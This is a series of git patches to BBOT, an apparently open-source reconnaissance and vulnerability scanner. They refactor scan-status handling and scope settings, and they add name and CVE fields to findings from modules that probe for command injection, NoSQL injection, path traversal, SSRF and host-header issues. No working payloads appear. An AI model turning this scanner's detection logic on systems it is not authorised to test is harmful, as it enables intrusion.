list(self.dispatcher_tasks): - if task.done(): - self.dispatcher_tasks.remove(task) - self.dispatcher_tasks.append( - asyncio.create_task( - self.dispatcher.catch(self.dispatcher.on_status, self._status, self.id), - name=f"{self.name}.dispatcher.on_status({status})", - ) - ) - else: - self.debug(f'Scan status is already "{status}"') + # if the scan has already been marked as ABORTED/FAILED/FINISHED, don't allow setting status again + if self._status_codes[status] >= self.status_codes["ABORTED"]: + self.debug(f'Attempt to set invalid status "{status}" on already finished scan') + return + if status == self._status: + self.debug(f'Scan status is already "{status}"') + return + self._status = status + self._status_code = self._status_codes[status] + # clean out old dispatcher tasks + for task in list(self.dispatcher_tasks): + if task.done(): + self.dispatcher_tasks.remove(task) + self.dispatcher_tasks.append( + asyncio.create_task( + self.dispatcher.catch(self.dispatcher.on_status, self._status, self.id), + name=f"{self.name}.dispatcher.on_status({status})", + ) + ) else: - self.debug(f'Attempt to set invalid status "{status}" on scan') + self.warning(f'Attempt to set invalid status "{status}" on scan') def make_event(self, *args, **kwargs): kwargs["scan"] = self From 343b47f20bc5a41b51d33ad23dcc9e8ec882b670 Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 21 Apr 2025 10:34:19 -0400 Subject: [PATCH 101/912] better finishing --- bbot/scanner/scanner.py | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index feb56a0b4e..d044611a5c 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -127,6 +127,7 @@ def __init__( self._success = False self._scan_finish_status_message = None + self._marked_finished = False if scan_id is not None: self.id = str(scan_id) @@ -390,8 +391,6 @@ async def async_start(self): new_activity = await self.finish() if not new_activity: self._success = True - scan_finish_event = await self._mark_finished() - yield scan_finish_event break await asyncio.sleep(0.1) @@ -415,6 +414,8 @@ async def async_start(self): self.critical(f"Unexpected error during scan:\n{traceback.format_exc()}") finally: + scan_finish_event = await self._mark_finished() + yield scan_finish_event tasks = self._cancel_tasks() self.debug(f"Awaiting {len(tasks):,} tasks") for task in tasks: @@ -439,6 +440,11 @@ async def async_start(self): log_fn(self._scan_finish_status_message) async def _mark_finished(self): + if self._marked_finished: + return + + self._marked_finished = True + if self.status == "ABORTING": status = "ABORTED" elif not self._success: @@ -759,6 +765,7 @@ def stop(self): self._drain_queues() self.helpers.kill_children() self.debug("Finished aborting scan") + self.status = "ABORTED" async def finish(self): """Finalizes the scan by invoking the `finished()` method on all active modules if new activity is detected. @@ -966,7 +973,7 @@ def status(self, status): status = str(status).strip().upper() if status in self._status_codes: # if the scan has already been marked as ABORTED/FAILED/FINISHED, don't allow setting status again - if self._status_codes[status] >= self.status_codes["ABORTED"]: + if self._status_codes[status] >= self._status_codes["ABORTED"]: self.debug(f'Attempt to set invalid status "{status}" on already finished scan') return if status == self._status: From 4f2acba23bd08df5c0418dab7c782e3aefac0c49 Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 21 Apr 2025 11:00:34 -0400 Subject: [PATCH 102/912] fixed ctrl+c --- bbot/scanner/scanner.py | 29 ++++++++++++++++------------- 1 file changed, 16 insertions(+), 13 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index d044611a5c..3753dc8f83 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -425,7 +425,6 @@ async def async_start(self): self.debug(f"Awaited {len(tasks):,} tasks") await self._report() await self._cleanup() - # report on final scan status await self.dispatcher.on_finish(self) @@ -457,20 +456,23 @@ async def _mark_finished(self): self.duration_seconds = self.duration.total_seconds() self.duration_human = self.helpers.human_timedelta(self.duration) - self._scan_finish_status_message = f"Scan {self.name} completed in {self.duration_human} with status {status}" + self._scan_finish_status_message = ( + f"Scan {self.name} completed in {self.duration_human} with status {self.status}" + ) scan_finish_event = self.finish_event(self._scan_finish_status_message, status) - # queue final scan event with output modules - output_modules = [m for m in self.modules.values() if m._type == "output" and m.name != "python"] - for m in output_modules: - await m.queue_event(scan_finish_event) - # wait until output modules are flushed - while 1: - modules_finished = all(m.finished for m in output_modules) - if modules_finished: - break - await asyncio.sleep(0.05) + if not self._stopping: + # queue final scan event with output modules + output_modules = [m for m in self.modules.values() if m._type == "output" and m.name != "python"] + for m in output_modules: + await m.queue_event(scan_finish_event) + # wait until output modules are flushed + while 1: + modules_finished = all([m.finished for m in output_modules]) + if modules_finished: + break + await asyncio.sleep(0.05) self.status = status return scan_finish_event @@ -971,9 +973,10 @@ def status(self, status): Block setting after status has been aborted """ status = str(status).strip().upper() + self.debug(f"Setting scan status from {self.status} to {status}") if status in self._status_codes: # if the scan has already been marked as ABORTED/FAILED/FINISHED, don't allow setting status again - if self._status_codes[status] >= self._status_codes["ABORTED"]: + if self._status_code >= self._status_codes["ABORTED"]: self.debug(f'Attempt to set invalid status "{status}" on already finished scan') return if status == self._status: From 2d9d49515d6374fd5151b25becbd27c3b9931314 Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 21 Apr 2025 11:56:21 -0400 Subject: [PATCH 103/912] remove cleaning up status --- bbot/scanner/scanner.py | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 3753dc8f83..14d3edca5a 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -55,7 +55,6 @@ class Scanner: - "STARTING" (1): Status when the scan is initializing. - "RUNNING" (2): Status when the scan is in progress. - "FINISHING" (3): Status when the scan is in the process of finalizing. - - "CLEANING_UP" (4): Status when the scan is cleaning up resources. - "ABORTING" (5): Status when the scan is in the process of being aborted. - "ABORTED" (6): Status when the scan has been aborted. - "FAILED" (7): Status when the scan has encountered a failure. @@ -90,7 +89,6 @@ class Scanner: "STARTING": 1, "RUNNING": 2, "FINISHING": 3, - "CLEANING_UP": 4, "ABORTING": 5, "ABORTED": 6, "FAILED": 7, @@ -870,7 +868,8 @@ async def _cleanup(self): This method is called once at the end of the scan to perform resource cleanup tasks. It is executed regardless of whether the scan was aborted or completed - successfully. The scan status is set to "CLEANING_UP" during the execution. + successfully. + After calling the `cleanup()` method for each module, it performs additional cleanup tasks such as removing the scan's home directory if empty and cleaning old scans. @@ -881,7 +880,6 @@ async def _cleanup(self): # clean up self if not self._cleanedup: self._cleanedup = True - self.status = "CLEANING_UP" # clean up modules for mod in self.modules.values(): await mod._cleanup() @@ -894,7 +892,6 @@ async def _cleanup(self): with contextlib.suppress(Exception): self.home.rmdir() self.helpers.clean_old_scans() - self.status = "FINISHED" def in_scope(self, *args, **kwargs): return self.preset.in_scope(*args, **kwargs) From fec51cf1fe2d79a0e16395a3938afe6523bc1885 Mon Sep 17 00:00:00 2001 From: github-actions Date: Wed, 23 Apr 2025 14:59:18 -0400 Subject: [PATCH 104/912] pika imports --- bbot/test/test_step_2/module_tests/test_module_rabbitmq.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py b/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py index 0a050220aa..c272e0b86c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py +++ b/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py @@ -1,6 +1,5 @@ import json import asyncio -import aio_pika from contextlib import suppress from .base import ModuleTestBase @@ -18,6 +17,8 @@ class TestRabbitMQ(ModuleTestBase): skip_distro_tests = True async def setup_before_prep(self, module_test): + import aio_pika + # Start RabbitMQ await asyncio.create_subprocess_exec( "docker", "run", "-d", "--rm", "--name", "bbot-test-rabbitmq", "-p", "5672:5672", "rabbitmq:3-management" @@ -36,6 +37,8 @@ async def setup_before_prep(self, module_test): await asyncio.sleep(0.5) # Wait a bit before retrying async def check(self, module_test, events): + import aio_pika + connection = await aio_pika.connect_robust("amqp://guest:guest@localhost/") channel = await connection.channel() queue = await channel.declare_queue("bbot_events", durable=True) From 7730ae82aed7122c137cd1ded32e24ef416522cd Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 24 Apr 2025 14:24:53 -0400 Subject: [PATCH 105/912] keep strict_scope in preset for backwards compatibility --- bbot/defaults.yml | 6 +++--- bbot/scanner/preset/preset.py | 2 +- bbot/test/test_step_1/test_presets.py | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/bbot/defaults.yml b/bbot/defaults.yml index 165974bdb4..b9f118b6b4 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -14,9 +14,9 @@ folder_blobs: false ### SCOPE ### scope: - # strict DNS scope means only exact DNS names are considered in-scope - # subdomains are not included unless they are explicitly whitelisted - strict_dns: false + # strict scope means only exact DNS names are considered in-scope + # their subdomains are not included unless explicitly whitelisted + strict: false # Filter by scope distance which events are displayed in the output # 0 == show only in-scope events (affiliates are always shown) # 1 == show all events up to distance-1 (1 hop from target) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 268d2af545..4d0e97b167 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -486,7 +486,7 @@ def bake(self, scan=None): *list(self._seeds), whitelist=self._whitelist, blacklist=self._blacklist, - strict_dns_scope=self.strict_dns_scope, + strict_dns_scope=self.strict_scope, ) # evaluate conditions diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 80056dc7f3..c9efd1dbb9 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -180,7 +180,7 @@ def test_preset_scope(): blank_preset = blank_preset.bake() assert not blank_preset.target.seeds assert not blank_preset.target.whitelist - assert blank_preset.strict_dns_scope is False + assert blank_preset.strict_scope is False preset1 = Preset( "evilcorp.com", From 8813b78a532f484b6c037bde2dba24a3493677da Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 24 Apr 2025 15:37:15 -0400 Subject: [PATCH 106/912] fix preset --- bbot/scanner/preset/preset.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 4d0e97b167..34b4058e62 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -561,7 +561,7 @@ def scope_config(self): return self.config.get("scope", {}) @property - def strict_dns_scope(self): + def strict_scope(self): return self.scope_config.get("strict", False) def apply_log_level(self, apply_core=False): From 6a0e5ade7089ad145efc66f5492fa57eb54de98b Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 24 Apr 2025 16:14:05 -0400 Subject: [PATCH 107/912] fix preset again --- bbot/cli.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/cli.py b/bbot/cli.py index 779a5ab557..333ab8c202 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -198,7 +198,7 @@ async def _main(): if sys.stdin.isatty(): # warn if any targets belong directly to a cloud provider - if not scan.preset.strict_dns_scope: + if not scan.preset.strict_scope: for event in scan.target.seeds.event_seeds: if event.type == "DNS_NAME": cloudcheck_result = scan.helpers.cloudcheck(event.host) From f09109e6107327666809c3e6287dd0db7ba0a312 Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 25 Apr 2025 11:27:18 -0400 Subject: [PATCH 108/912] union -> optional --- bbot/models/pydantic.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 45e74a0af8..eb35bc721f 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -1,7 +1,7 @@ import json import logging from pydantic import BaseModel, ConfigDict, Field -from typing import Optional, List, Union, Annotated +from typing import Optional, List, Annotated, Optional from bbot.models.helpers import utc_now_timestamp @@ -73,8 +73,8 @@ class Event(BBOTBaseModel): # we store the host in reverse to allow for instant subdomain queries # this works because indexes are left-anchored, but we need to search starting from the right side reverse_host: Annotated[Optional[str], "indexed"] = "" - resolved_hosts: Union[List, None] = None - dns_children: Union[dict, None] = None + resolved_hosts: Optional[List] = None + dns_children: Optional[dict] = None web_spider_distance: int = 10 scope_distance: int = 10 scan: Annotated[str, "indexed"] From d49014616ba94732215a5fda195113eb4da2cc95 Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 25 Apr 2025 14:30:00 -0400 Subject: [PATCH 109/912] ruffed --- bbot/models/pydantic.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index eb35bc721f..4ec7a3dc65 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -1,7 +1,7 @@ import json import logging +from typing import Optional, List, Annotated from pydantic import BaseModel, ConfigDict, Field -from typing import Optional, List, Annotated, Optional from bbot.models.helpers import utc_now_timestamp From c64fdea3622302073cb65ac3618045e294f81280 Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 29 Apr 2025 12:47:16 -0400 Subject: [PATCH 110/912] don't import scanner or preset in bbot __init__.py --- .github/workflows/tests.yml | 2 +- bbot/__init__.py | 3 --- bbot/scripts/docs.py | 2 +- bbot/test/fastapi_test.py | 2 +- bbot/test/test_step_1/test__module__tests.py | 2 +- bbot/test/test_step_1/test_bbot_fastapi.py | 2 +- bbot/test/test_step_1/test_python_api.py | 2 +- bbot/test/test_step_1/test_regexes.py | 2 +- bbot/test/test_step_1/test_scan.py | 2 +- 9 files changed, 8 insertions(+), 11 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 95c9e3cd8f..915b86d9b8 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -72,7 +72,7 @@ jobs: run: python -m build - name: Publish Pypi package if: github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev' - uses: pypa/gh-action-pypi-publish@release/v1.12 + uses: pypa/gh-action-pypi-publish@release/v1 with: password: ${{ secrets.PYPI_API_TOKEN }} - name: Get BBOT version diff --git a/bbot/__init__.py b/bbot/__init__.py index 914c45ff4b..dcf055264c 100644 --- a/bbot/__init__.py +++ b/bbot/__init__.py @@ -1,6 +1,3 @@ # version placeholder (replaced by poetry-dynamic-versioning) __version__ = "v0.0.0" -from .scanner import Scanner, Preset - -__all__ = ["Scanner", "Preset"] diff --git a/bbot/scripts/docs.py b/bbot/scripts/docs.py index ef0187ed9c..6ccc88f542 100755 --- a/bbot/scripts/docs.py +++ b/bbot/scripts/docs.py @@ -6,7 +6,7 @@ import yaml from pathlib import Path -from bbot import Preset +from bbot.scanner import Preset from bbot.core.modules import MODULE_LOADER diff --git a/bbot/test/fastapi_test.py b/bbot/test/fastapi_test.py index f0c7b2d789..a4a1d57107 100644 --- a/bbot/test/fastapi_test.py +++ b/bbot/test/fastapi_test.py @@ -1,5 +1,5 @@ from typing import List -from bbot import Scanner +from bbot.scanner import Scanner from fastapi import FastAPI, Query app = FastAPI() diff --git a/bbot/test/test_step_1/test__module__tests.py b/bbot/test/test_step_1/test__module__tests.py index 6221b61490..b68ad50a5d 100644 --- a/bbot/test/test_step_1/test__module__tests.py +++ b/bbot/test/test_step_1/test__module__tests.py @@ -2,7 +2,7 @@ import importlib from pathlib import Path -from bbot import Preset +from bbot.scanner import Preset from ..test_step_2.module_tests.base import ModuleTestBase log = logging.getLogger("bbot.test.modules") diff --git a/bbot/test/test_step_1/test_bbot_fastapi.py b/bbot/test/test_step_1/test_bbot_fastapi.py index 9f54e4a881..98f97e514c 100644 --- a/bbot/test/test_step_1/test_bbot_fastapi.py +++ b/bbot/test/test_step_1/test_bbot_fastapi.py @@ -9,7 +9,7 @@ def run_bbot_multiprocess(queue): - from bbot import Scanner + from bbot.scanner import Scanner scan = Scanner("http://127.0.0.1:8888", "blacklanternsecurity.com", modules=["httpx"]) events = [e.json() for e in scan.start()] diff --git a/bbot/test/test_step_1/test_python_api.py b/bbot/test/test_step_1/test_python_api.py index 89532b180c..9cd7e1c974 100644 --- a/bbot/test/test_step_1/test_python_api.py +++ b/bbot/test/test_step_1/test_python_api.py @@ -3,7 +3,7 @@ @pytest.mark.asyncio async def test_python_api(): - from bbot import Scanner + from bbot.scanner import Scanner # make sure events are properly yielded scan1 = Scanner("127.0.0.1") diff --git a/bbot/test/test_step_1/test_regexes.py b/bbot/test/test_step_1/test_regexes.py index c68fd8e13b..6558326341 100644 --- a/bbot/test/test_step_1/test_regexes.py +++ b/bbot/test/test_step_1/test_regexes.py @@ -334,7 +334,7 @@ def test_url_regexes(): @pytest.mark.asyncio async def test_regex_helper(): - from bbot import Scanner + from bbot.scanner import Scanner scan = Scanner("evilcorp.com", "evilcorp.org", "evilcorp.net", "evilcorp.co.uk") diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index a0bf0b1008..b366948b45 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -173,7 +173,7 @@ async def test_huge_target_list(bbot_scanner, monkeypatch): async def test_exclude_cdn(bbot_scanner, monkeypatch): # test that CDN exclusion works - from bbot import Preset + from bbot.scanner import Preset dns_mock = { "evilcorp.com": {"A": ["127.0.0.1"]}, From 9b7475cc43c19faff568edd255c193858b18af06 Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 29 Apr 2025 12:47:27 -0400 Subject: [PATCH 111/912] ruffed --- bbot/__init__.py | 1 - 1 file changed, 1 deletion(-) diff --git a/bbot/__init__.py b/bbot/__init__.py index dcf055264c..8e016095f4 100644 --- a/bbot/__init__.py +++ b/bbot/__init__.py @@ -1,3 +1,2 @@ # version placeholder (replaced by poetry-dynamic-versioning) __version__ = "v0.0.0" - From 18de9a21d261f916e52c2003f11d8948e8a8b1fa Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 29 Apr 2025 15:55:35 -0400 Subject: [PATCH 112/912] vuln rework --- bbot/core/event/base.py | 4 ++++ bbot/modules/ajaxpro.py | 4 +++- bbot/modules/baddns.py | 2 ++ bbot/modules/baddns_direct.py | 1 + bbot/modules/badsecrets.py | 2 ++ bbot/modules/bypass403.py | 8 +++++++- bbot/modules/dastardly.py | 2 ++ bbot/modules/dotnetnuke.py | 6 ++++++ bbot/modules/git.py | 7 ++++++- bbot/modules/gitlab.py | 6 +++++- bbot/modules/host_header.py | 3 +++ bbot/modules/hunt.py | 6 +++++- bbot/modules/iis_shortnames.py | 8 +++++++- bbot/modules/lightfuzz/lightfuzz.py | 1 + bbot/modules/lightfuzz/submodules/cmdi.py | 1 + bbot/modules/lightfuzz/submodules/crypto.py | 3 +++ bbot/modules/lightfuzz/submodules/nosqli.py | 2 ++ bbot/modules/lightfuzz/submodules/path.py | 2 ++ bbot/modules/lightfuzz/submodules/serial.py | 2 ++ bbot/modules/lightfuzz/submodules/sqli.py | 3 +++ bbot/modules/lightfuzz/submodules/ssti.py | 1 + bbot/modules/lightfuzz/submodules/xss.py | 1 + bbot/modules/newsletters.py | 7 ++++++- bbot/modules/ntlm.py | 1 + bbot/modules/nuclei.py | 2 ++ bbot/modules/oauth.py | 2 ++ bbot/modules/reflected_parameters.py | 18 ++++++++++++------ bbot/modules/shodan_idb.py | 9 +++++++-- bbot/modules/smuggler.py | 7 ++++++- bbot/modules/telerik.py | 19 +++++++++++++++++-- bbot/modules/trufflehog.py | 1 + bbot/modules/url_manipulation.py | 9 +++++++-- bbot/modules/wpscan.py | 10 +++++++++- 33 files changed, 139 insertions(+), 21 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 4c6288b3f1..f49a287774 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1552,6 +1552,7 @@ class VULNERABILITY(ClosestHostEvent): "HIGH": "🟥", "MEDIUM": "🟧", "LOW": "🟨", + "INFO": "🟦", "UNKNOWN": "⬜", } @@ -1562,9 +1563,11 @@ def sanitize_data(self, data): class _data_validator(BaseModel): host: Optional[str] = None severity: str + name: str description: str url: Optional[str] = None path: Optional[str] = None + cves: Optional[list[str]] = None _validate_url = field_validator("url")(validators.validate_url) _validate_host = field_validator("host")(validators.validate_host) _validate_severity = field_validator("severity")(validators.validate_severity) @@ -1579,6 +1582,7 @@ class FINDING(ClosestHostEvent): class _data_validator(BaseModel): host: Optional[str] = None + name: str description: str url: Optional[str] = None path: Optional[str] = None diff --git a/bbot/modules/ajaxpro.py b/bbot/modules/ajaxpro.py index 1df424ebcc..c1ff413915 100644 --- a/bbot/modules/ajaxpro.py +++ b/bbot/modules/ajaxpro.py @@ -10,7 +10,7 @@ class ajaxpro(BaseModule): ajaxpro_regex = re.compile(r' collapse_threshold: await self.emit_event( { + "name": "Possible 403 Bypass", "description": f"403 Bypass MULTIPLE SIGNATURES (exceeded threshold {str(collapse_threshold)})", "host": str(event.host), "url": event.data, @@ -152,7 +153,12 @@ async def handle_event(self, event): else: for description in results: await self.emit_event( - {"description": description, "host": str(event.host), "url": event.data}, + { + "name": "Possible 403 Bypass", + "description": description, + "host": str(event.host), + "url": event.data, + }, "FINDING", parent=event, context=f"{{module}} discovered potential 403 bypass ({{event.type}}) for {event.data}", diff --git a/bbot/modules/dastardly.py b/bbot/modules/dastardly.py index b9dd772a73..5b81bc14b1 100644 --- a/bbot/modules/dastardly.py +++ b/bbot/modules/dastardly.py @@ -49,6 +49,7 @@ async def handle_event(self, event): "host": str(event.host), "url": url, "description": failure.instance, + "name": "Dastardly - Possible Vulnerability", }, "FINDING", event, @@ -61,6 +62,7 @@ async def handle_event(self, event): "host": str(event.host), "url": url, "description": failure.instance, + "name": "Dastardly - Possible Vulnerability", }, "VULNERABILITY", event, diff --git a/bbot/modules/dotnetnuke.py b/bbot/modules/dotnetnuke.py index 7e8b4d3d4e..0f7301b33a 100644 --- a/bbot/modules/dotnetnuke.py +++ b/bbot/modules/dotnetnuke.py @@ -55,6 +55,8 @@ async def interactsh_callback(self, r): "host": str(event.host), "url": url, "description": description, + "cves": ["CVE-2017-0929"], + "name": "DotNetNuke Blind-SSRF", }, "VULNERABILITY", event, @@ -106,6 +108,7 @@ async def handle_event(self, event): "description": description, "host": str(event.host), "url": probe_url, + "name": "DotNetNuke Cookie Deserialization", }, "VULNERABILITY", event, @@ -124,6 +127,7 @@ async def handle_event(self, event): { "severity": "CRITICAL", "description": description, + "name": "DotNetNuke Arbitrary File Read", "host": str(event.host), "url": f"{event.data['url']}/DesktopModules/dnnUI_NewsArticlesSlider/ImageHandler.ashx", }, @@ -143,6 +147,7 @@ async def handle_event(self, event): { "severity": "CRITICAL", "description": description, + "name": "DotNetNuke Arbitrary File Read", "host": str(event.host), "url": f"{event.data['url']}/Desktopmodules/DNNArticle/GetCSS.ashx/?CP=%2fweb.config", }, @@ -164,6 +169,7 @@ async def handle_event(self, event): { "severity": "CRITICAL", "description": description, + "name": "DotNetNuke Privilege Escalation", "host": str(event.host), "url": f"{event.data['url']}/Install/InstallWizard.aspx", }, diff --git a/bbot/modules/git.py b/bbot/modules/git.py index 569aa0e489..0c069bd958 100644 --- a/bbot/modules/git.py +++ b/bbot/modules/git.py @@ -32,7 +32,12 @@ async def handle_event(self, event): if getattr(response, "status_code", 0) == 200 and "[core]" in text and not self.fp_regex.match(text): description = f"Exposed .git config at {url}" await self.emit_event( - {"host": str(event.host), "url": url, "description": description}, + { + "host": str(event.host), + "url": url, + "description": description, + "name": "Exposed .git config", + }, "FINDING", event, context="{module} detected {event.type}: {description}", diff --git a/bbot/modules/gitlab.py b/bbot/modules/gitlab.py index e1ba3850ee..f2379b303a 100644 --- a/bbot/modules/gitlab.py +++ b/bbot/modules/gitlab.py @@ -57,7 +57,11 @@ async def handle_http_response(self, event): ) description = f"GitLab server at {event.host}" await self.emit_event( - {"host": str(event.host), "description": description}, + { + "host": str(event.host), + "description": description, + "name": "GitLab Server", + }, "FINDING", parent=event, context=f"{{module}} detected {{event.type}}: {description}", diff --git a/bbot/modules/host_header.py b/bbot/modules/host_header.py index a60967b8b4..2d664f42d0 100644 --- a/bbot/modules/host_header.py +++ b/bbot/modules/host_header.py @@ -49,6 +49,7 @@ async def interactsh_callback(self, r): { "host": str(matched_event.host), "url": matched_event.data["url"], + "name": "Host Header Spoofing", "description": f"Spoofed Host header ({matched_technique}) [{protocol}] interaction", }, "FINDING", @@ -142,6 +143,7 @@ async def handle_event(self, event): "host": str(event.host), "url": url, "description": description, + "name": "Duplicate Host Header Tolerated", }, "FINDING", event, @@ -184,6 +186,7 @@ async def handle_event(self, event): "host": str(event.host), "url": url, "description": description, + "name": "Possible Host Header Injection", }, "FINDING", event, diff --git a/bbot/modules/hunt.py b/bbot/modules/hunt.py index 6f3e619965..01ba2cf0e7 100644 --- a/bbot/modules/hunt.py +++ b/bbot/modules/hunt.py @@ -305,7 +305,11 @@ async def handle_event(self, event): f" Original Value: [{self.helpers.truncate_string(str(event.data['original_value']), 200)}]" ) - data = {"host": str(event.host), "description": description} + data = { + "host": str(event.host), + "description": description, + "name": "Potentially Interesting Parameter", + } url = event.data.get("url", "") if url: data["url"] = url diff --git a/bbot/modules/iis_shortnames.py b/bbot/modules/iis_shortnames.py index 48860445f5..0db398b815 100644 --- a/bbot/modules/iis_shortnames.py +++ b/bbot/modules/iis_shortnames.py @@ -235,7 +235,13 @@ class safety_counter_obj: description = f"IIS Shortname Vulnerability Detected. Potentially Vulnerable Method/Techniques: [{','.join(technique_strings)}]" await self.emit_event( - {"severity": "LOW", "host": str(event.host), "url": normalized_url, "description": description}, + { + "severity": "LOW", + "host": str(event.host), + "url": normalized_url, + "description": description, + "name": "IIS Shortnames", + }, "VULNERABILITY", event, context="{module} detected low {event.type}: IIS shortname enumeration", diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 754ff7dd61..e178399e35 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -73,6 +73,7 @@ async def interactsh_callback(self, r): "severity": "CRITICAL", "host": str(details["event"].host), "url": details["event"].data["url"], + "name": "Lightfuzz - OS Command Injection", "description": f"OS Command Injection (OOB Interaction) Type: [{details['type']}] Parameter Name: [{details['name']}] Probe: [{details['probe']}]", }, "VULNERABILITY", diff --git a/bbot/modules/lightfuzz/submodules/cmdi.py b/bbot/modules/lightfuzz/submodules/cmdi.py index 11576f1dc5..51b256c08f 100644 --- a/bbot/modules/lightfuzz/submodules/cmdi.py +++ b/bbot/modules/lightfuzz/submodules/cmdi.py @@ -75,6 +75,7 @@ async def fuzz(self): self.results.append( { "type": "FINDING", + "name": "Lightfuzz - Possible Command Injection", "description": f"POSSIBLE OS Command Injection. {self.metadata()} Detection Method: [echo canary] CMD Probe Delimeters: [{' '.join(positive_detections)}]", } ) diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index 1134d95af9..36b8ac18c6 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -320,6 +320,7 @@ async def error_string_search(self, text_dict, baseline_text): self.results.append( { "type": "FINDING", + "name": "Lightfuzz - Possible Cryptographic Error", "description": f"Possible Cryptographic Error. {self.metadata()} Strings: [{','.join(unique_matches)}] Detection Technique(s): [{','.join(matching_techniques)}]", "context": context, } @@ -414,6 +415,7 @@ async def fuzz(self): self.results.append( { "type": "FINDING", + "name": "Lightfuzz - Probable Cryptographic Parameter", "description": f"Probable Cryptographic Parameter. {self.metadata()} Detection Technique(s): [{', '.join(confirmed_techniques)}]", "context": context, } @@ -468,6 +470,7 @@ async def fuzz(self): self.results.append( { "type": "FINDING", + "name": "Lightfuzz - Possible Length Extension Attack", "description": f"Possible {self.event.data['type']} parameter with {hash_instance.name.upper()} Hash as value. {self.metadata()}, linked to additional parameter [{additional_param_name}]", "context": context, } diff --git a/bbot/modules/lightfuzz/submodules/nosqli.py b/bbot/modules/lightfuzz/submodules/nosqli.py index 0155ec3c24..90f8af4c7c 100644 --- a/bbot/modules/lightfuzz/submodules/nosqli.py +++ b/bbot/modules/lightfuzz/submodules/nosqli.py @@ -112,6 +112,7 @@ async def fuzz(self): self.results.append( { "type": "FINDING", + "name": "Lightfuzz - Possible NoSQL Injection", "description": f"Possible NoSQL Injection. {self.metadata()} Detection Method: [Quote/Escaped Quote + Conditional Affect] Differences: [{'.'.join(confirmation_probe_false_diff_reasons)}]", } ) @@ -176,6 +177,7 @@ async def fuzz(self): self.results.append( { "type": "FINDING", + "name": "Lightfuzz - Possible NoSQL Injection", "description": f"Possible NoSQL Injection. {self.metadata()} Detection Method: [Parameter Name Operator Injection - Negation ([$ne])] Differences: [{'.'.join(nosqli_negate_diff_reasons)}]", } ) diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py index 44047e2907..39bdd9c7c3 100644 --- a/bbot/modules/lightfuzz/submodules/path.py +++ b/bbot/modules/lightfuzz/submodules/path.py @@ -122,6 +122,7 @@ async def fuzz(self): self.results.append( { "type": "FINDING", + "name": "Lightfuzz - Possible Path Traversal", "description": f"POSSIBLE Path Traversal. {self.metadata()} Detection Method: [{path_technique}]", } ) @@ -149,6 +150,7 @@ async def fuzz(self): self.results.append( { "type": "FINDING", + "name": "Lightfuzz - Possible Path Traversal", "description": f"POSSIBLE Path Traversal. {self.metadata()} Detection Method: [Absolute Path: {path}]", } ) diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index aa74fd9d08..68bff7b6d6 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -156,6 +156,7 @@ async def fuzz(self): self.results.append( { "type": 